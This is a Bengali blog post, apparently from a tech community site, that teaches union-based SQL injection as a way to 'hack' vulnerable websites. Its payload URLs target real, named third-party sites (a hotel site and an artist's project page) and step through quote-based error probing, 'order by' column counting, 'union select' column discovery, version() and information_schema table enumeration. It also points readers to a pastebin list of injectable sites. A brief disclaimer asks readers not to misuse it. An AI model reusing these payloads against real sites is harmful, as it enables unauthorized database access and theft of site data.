এবার Union Based SQLi শিখেনিন

blog.bhinno.net

 

 

 

 

এবার Union Based SQLi শিখেনিন

 

Sql Inj3cti0n কি ?

সহজ ভাষায় বলতে গেলে SQL Inj3cti0n

হলো এমন একটি code inj3cti0n কৌশল যা

কোনো সাইটের ডাটাবেজের

সিকিউরিটি কে ভেঙ্গে তা থেকে

ইনফরমেশন বের করতে পারে।

যে কোনো সাইটে SQL Inj3cti0n করা

যাবে ?

না। SQL Inj3cti0n তখনি কাজ করবে যখন

কোনো সাইটে SQL error থাকবে।

কোনো সাইটে SQL error আছে কি

নেই তা বুজবো কিভাবে ?

যেই সব সাইটে id=value থাকে ধরুন

http://www.site.com/news.php?id=5

সাধারণত এই সব সাইটে SQL error

থাকে। কোনো সাইটে SQL error

এভাবেই দেখাবে না, error দেখার

জন্য আপনাকে url এর শেষে একটি

‘(string) দিতে হবে।

উদাহরণঃ http://www.bayviewhotelni.com/

news.php?id=3 এটি হচ্ছে আসল লিঙ্ক, এই

লিঙ্কে যখন আপনি ব্রাউজারে লোড

করবেন তখন কোনো error আসবে না।

যখন আপনি url এর শেষে একটি ‘(string)

দিবেন তখন ঠিকই error আসবে।

http://www.bayviewhotelni.com/news.php ?

id=3 ‘

You have an error in your SQL syntax; check

the manual that correspond

s to your MySQL server version for the right

syntax to use near ”3”’ at line 1

অথবা অনেক সময় দেখতে পারবেন যখন ‘

বসিয়েছেন তখন সাইটে যদি কোনো

ছবি/ডাটা মিস করে তাহলে ও অই

সাইটে SQL error আছে।

অর্থাৎ বোঝা গেলো এই সাইটে SQL

error আছে। তাই আমরা এই সাইটটি কে

SQL Inj3cti0n করে হ্যাক করতে পারবো।

SQL INJECT করে আজ আপনাদের

ভার্নাবল সাইট হ্যাক করা শিখাবো।

প্রথমে SQL INJECT করার জন্য সাইটের ID

ভেল্যু খুজতে হয়।

যেমন :

http://www.site.com/index.php?id=2

এরপর আপনাকে দেখতে হবে সাইট টি

injectable

কিনা।

এর জন্য আপনাকে url এর শেষে একটি ‘

বসাতে হবে।

যদি ডাটাবেজের কিছু মিসিং

আসে বা পেজের কিছু ইরর আসে

তাহলে বুঝবেন সাইট টি injectable

যেমন : “You have an error in your SQL

syntax; check the manual that correspond

s to your MySQL server version for the right

syntax to use near ”’ at line 1″

যারা আমার মত শিক্ষার্থী তাদের

জন্য injectable

সাইটের তালিকা দেয়া হল

pastebin.com/

6HckfUzW।

এখন injectable

সাইটে inject করার জন্য আপনাকে

প্রথমে ডাটাবেজের কলাম বের

করতে হবে।

এজন্য আপনাকে ভার্নাবল সাইটের

লিংকের শেষে একটি কমান্ড ব্যবহার

করতে হবে।

এখানে আমাদের ভার্নাবল সাইট

http://www.caiguoqiang.com/ project_detail.php?i

d=196

এইটার শেষে একটা ‘ দিয়ে দেখেন,

দেখবেন ডাটা মিস করছে।

যাই হোক, আমাদের ডাটাবেজের

কলাম বের করতে হলে +order+by+

কমান্ড দিতে হবে।

তাহলে লিংকটি দাড়ায়

http://www.caiguoqiang.com/project_detail.php ?

id=196+order+by+

এখন + এর শেষে আপনাকে 1 থেকে শুরু

করে তত পর্যন্ত চেষ্টা করতে হবে।

এখন 1 নিয়ে দেখেন

তাহলে লিংকটি দাড়ায়

http://www.caiguoqiang.com/project_detail.php ?

id=196+order+by+1

নাহ, তাহলে সাইটের শুধু ডাটা মিস

করতেছে।

আবার 2 দিয়ে চেষ্টা করি

http://www.caiguoqiang.com/project_detail.php ?

id=196+order+by+2

নাহ, এবারও ডাটা মিস করতেছে।

এবাবে 3,4,5 করে 25 পর্যন্ত গেলাম।

26 এ গেলে পুরো সাইট SQL ইরর দেখায়

http://www.caiguoqiang.com/project_detail.php ?

id=196+order+by+26

ইরর এরকমের হতে পারে।

Could not connect to MySQL server: Unknown

column ’26’ in ‘order clause’।

অর্থ্যাত্

এই সাইটের ডাটাবেজের কলাম 25

টি।

এখন আমাদের দেখতে হবে এই 25 টা

কলামের ভেতর ভার্নাবল কোনটি।এর

জন্য আমাদের আবার কমান্ড ব্যবহার

করতে হবে।

কমান্ড টি+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

,19,20,21,22,23,24,25-

তাহলে লিংক টি দাড়াবে

http://www.caiguoqiang.com/ project_detail.php?id=-196+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

,19,20,21,22,23,

24,25–

(উল্লেখ, এখানে project_detail.php?i

d= এর পর একটি – দেয়া হয়েছে)

এখন আপনি ভার্নাবল কলাম দেখতে

পাবেন।

এই সাইটের ভার্নাবল কলাম 6,11,4

দেখাবে।

এখানে আমরা 6 নম্বর কলাম নিয়ে

কাজ করবো।

এখন আমরা ভার্নাবল কলামের ভার্সন

বের করবো।

এর জন্য আপনাকে আবার একটি কমান্ড

ব্যবহার করতে হবে।

এখন আগের লিংকে শুধু 6 এর জায়গায়

version() দিতে হবে।

তাহলে লিংক টি দাড়ায়

http://www.caiguoqiang.com/project_detail.php ?

id=-196+union+select+1,2,3,4,5,version()

,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22

,23,24,25 —

এই লিংকে গেলে আমরা ভার্সন

দেখতে পাবো। এটার ভার্সন 5.0.95-

com

munity ভার্সন 5 এর নিচে সাইট গুলো

হবে তা বাদ দিয়ে অন্যগুলো সাইট

inject করতে চেষ্টা করবেন।

এখন আমরা আরেকটি কমান্ড ব্যবহার

করে টেবিল বের করব।

এক্ষেত্রে ভার্নাবল কলামের বদলে

group_concat(table_name) কমান্ড দিবো

এবং শেষ কলামের পর +from

+information_schema.tables+where+table_

schema=database(

)– কমান্ড দিবো

 

দয়া করে কেউ খারাপ কাজে ব্যবহার করবেন না

 

ফেইসবুক এ আমাকে পেতে এখানে ক্লিক করুন

 

আমার ব্লগ

Level 1

আমি মিলটন মন্ডল। It specialist, Systech Trading, Dhaka। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 8 বছর 9 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 3 টি টিউন ও 11 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 0 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।


টিউনস


আরও টিউনস


টিউনারের আরও টিউনস


টিউমেন্টস

ভালো টিউন

Full tutorial ta den… Aita diye only table gula ber hoy…